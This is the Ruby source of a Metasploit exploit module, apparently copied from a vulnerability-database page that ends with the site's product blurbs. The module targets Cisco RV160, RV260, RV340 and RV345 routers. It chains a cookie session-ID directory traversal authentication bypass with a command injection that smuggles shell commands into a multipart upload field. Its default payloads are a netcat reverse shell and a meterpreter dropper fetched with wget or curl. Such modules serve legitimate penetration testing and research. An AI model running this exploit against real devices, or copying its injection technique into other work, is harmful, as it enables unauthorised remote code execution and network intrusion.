`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cisco RV Series Authentication Bypass and Command Injection',
'Description' => %q{
This module exploits two vulnerabilities, a session ID directory traversal authentication
bypass (CVE-2022-20705) and a command injection vulnerability (CVE-2022-20707), on Cisco RV160, RV260, RV340,
and RV345 Small Business Routers, allowing attackers to execute arbitrary commands with www-data user privileges.
This access can then be used to pivot to other parts of the network. This module works on firmware
versions 1.0.03.24 and below.
},
'License' => MSF_LICENSE,
'Platform' => ['linux', 'unix'],
'Author' => [
'Biem Pham', # Vulnerability Discoveries
'Neterum', # Metasploit Module
'jbaines-r7' # Inspired from cisco_rv_series_authbypass_and_rce.rb
],
'DisclosureDate' => '2021-11-02',
'Arch' => [ARCH_CMD, ARCH_ARMLE],
'References' => [
['CVE', '2022-20705'], # Authentication Bypass
['CVE', '2022-20707'], # Command Injection
['ZDI', '22-410'], # Authentication Bypass
['ZDI', '22-411'] # Command Injection
],
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'Payload' => {
'BadChars' => '\'#'
},
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_netcat'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_ARMLE],
'Type' => :linux_dropper,
'Payload' => {
'BadChars' => '\'#'
},
'CmdStagerFlavor' => [ 'wget', 'curl' ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'MeterpreterTryToFork' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Base path', '/'])
]
)
end
# sessionid utilized later needs to be set to length
# of 16 or exploit will fail. Tested with lengths
# 14-17
def generate_session_id
return Rex::Text.rand_text_alphanumeric(16)
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => '/upload',
'headers' => {
'Cookie' => 'sessionid =../../www/index.html; sessionid=' + generate_session_id
}
}, 10)
# A proper "upload" will trigger file creation. So the send_request_cgi call
# above is an incorrect "upload" call to avoid creating a file on disk. The router will return
# status code 405 Not Allowed if authentication has been bypassed by the above request.
# The firmware containing this authentication bypass also contains the command injection
# vulnerability that will be abused during actual exploitation. Non-vulnerable
# firmware versions will respond with 403 Forbidden.
if res.nil?
return CheckCode::Unknown('The device did not respond to request packet.')
elsif res.code == 405
return CheckCode::Appears('The device is vulnerable to authentication bypass. Likely also vulnerable to command injection.')
elsif res.code == 403
return CheckCode::Safe('The device is not vulnerable to exploitation.')
else # Catch-all
return CheckCode::Unknown('The target responded in an unexpected way. Exploitation is unlikely.')
end
end
def execute_command(cmd, _opts = {})
res = send_exploit(cmd)
# Successful unix_cmd shells should not produce a response.
# However if a response is returned, check the status code and return
# Failure::NotVulnerable if it is 403 Forbidden.
if target['Type'] == :unix_cmd && res&.code == 403
fail_with(Failure::NotVulnerable, 'The target responded with 403 Forbidden and is not vulnerable')
end
if target['Type'] == :linux_dropper
fail_with(Failure::Unreachable, 'The target did not respond') unless res
fail_with(Failure::UnexpectedReply, 'The target did not respond with a 200 OK') unless res&.code == 200
begin
body_json = res.get_json_document
fail_with(Failure::UnexpectedReply, 'The target did not respond with a JSON body') unless body_json
rescue JSON::ParserError => e
print_error("Failed: #{e.class} - #{e.message}")
fail_with(Failure::UnexpectedReply, 'Failed to parse the response returned from the server! Its possible the response may not be JSON!')
end
end
print_good('Exploit successfully executed.')
end
def send_exploit(cmd)
filename = Rex::Text.rand_text_alphanumeric(5..12)
fileparam = Rex::Text.rand_text_alphanumeric(5..12)
input = Rex::Text.rand_text_alphanumeric(5..12)
# sessionid utilized later needs to be set to length
# of 16 or exploit will fail. Tested with lengths
# 14-17
sessionid = Rex::Text.rand_text_alphanumeric(16)
filepath = '/tmp/upload.input' # This file must exist and be writeable by www-data so we just use the temporary upload file to prevent issues.
pathparam = 'Configuration'
destination = "'; " + cmd + ' #'
multipart_form = Rex::MIME::Message.new
multipart_form.add_part(filepath, nil, nil, 'form-data; name="file.path"')
multipart_form.add_part(filename, nil, nil, 'form-data; name="filename"')
multipart_form.add_part(pathparam, nil, nil, 'form-data; name="pathparam"')
multipart_form.add_part(fileparam, nil, nil, 'form-data; name="fileparam"')
multipart_form.add_part(destination, nil, nil, 'form-data; name="destination"')
multipart_form.add_part(input, 'application/octet-stream', nil, format('form-data; name="input"; filename="%<filename>s"', filename: filename))
# Escaping "/tmp/upload/" folder that does not contain any other permanent files
send_request_cgi({
'method' => 'POST',
'uri' => '/upload',
'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
'headers' => {
'Cookie' => 'sessionid =../../www/index.html; sessionid=' + sessionid
},
'data' => multipart_form.to_s
}, 10)
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager(linemax: 120)
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation